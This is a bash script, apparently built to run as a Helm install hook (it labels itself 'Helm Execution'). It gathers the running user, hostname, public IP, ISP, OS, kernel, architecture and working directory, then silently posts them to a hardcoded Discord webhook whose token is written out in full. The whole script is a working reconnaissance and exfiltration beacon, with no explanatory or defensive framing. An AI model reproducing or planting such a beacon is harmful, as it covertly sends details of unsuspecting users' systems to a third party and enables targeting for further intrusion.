#!/bin/bash

WEBHOOK_URL="https://discord.com/api/webhooks/1441461044085129239/VVda7WkrAndjBFHZyIQ0t19iLFumqCiCQc4GQbmh6A5VmuGly7IHkE1zeozXYa8oa5SO"

# Collect data
WHOAMI=$(whoami)
HOSTNAME=$(hostname)
PUBLIC_IP=$(curl -s https://ifconfig.me || echo "N/A")
ASN_INFO=$(curl -s https://ipinfo.io/$PUBLIC_IP/org || echo "N/A")
OS=$(uname -s)
KERNEL=$(uname -r)
ARCH=$(uname -m)
CWD=$(pwd)

# Merge into multiline text block
REPORT=$(cat <<TXT
whoami: $WHOAMI
hostname: $HOSTNAME
public_ip: $PUBLIC_IP
asn_isp: $ASN_INFO
os: $OS
kernel: $KERNEL
arch: $ARCH
cwd: $CWD
TXT
)

# Escape safely using jq
JSON_PAYLOAD=$(printf "%s" "$REPORT" | jq -Rs --arg username "Helm Execution" '{content: .}')

curl -s -X POST -H "Content-Type: application/json" \
     -d "$JSON_PAYLOAD" "$WEBHOOK_URL" > /dev/null 2>&1

exit 0
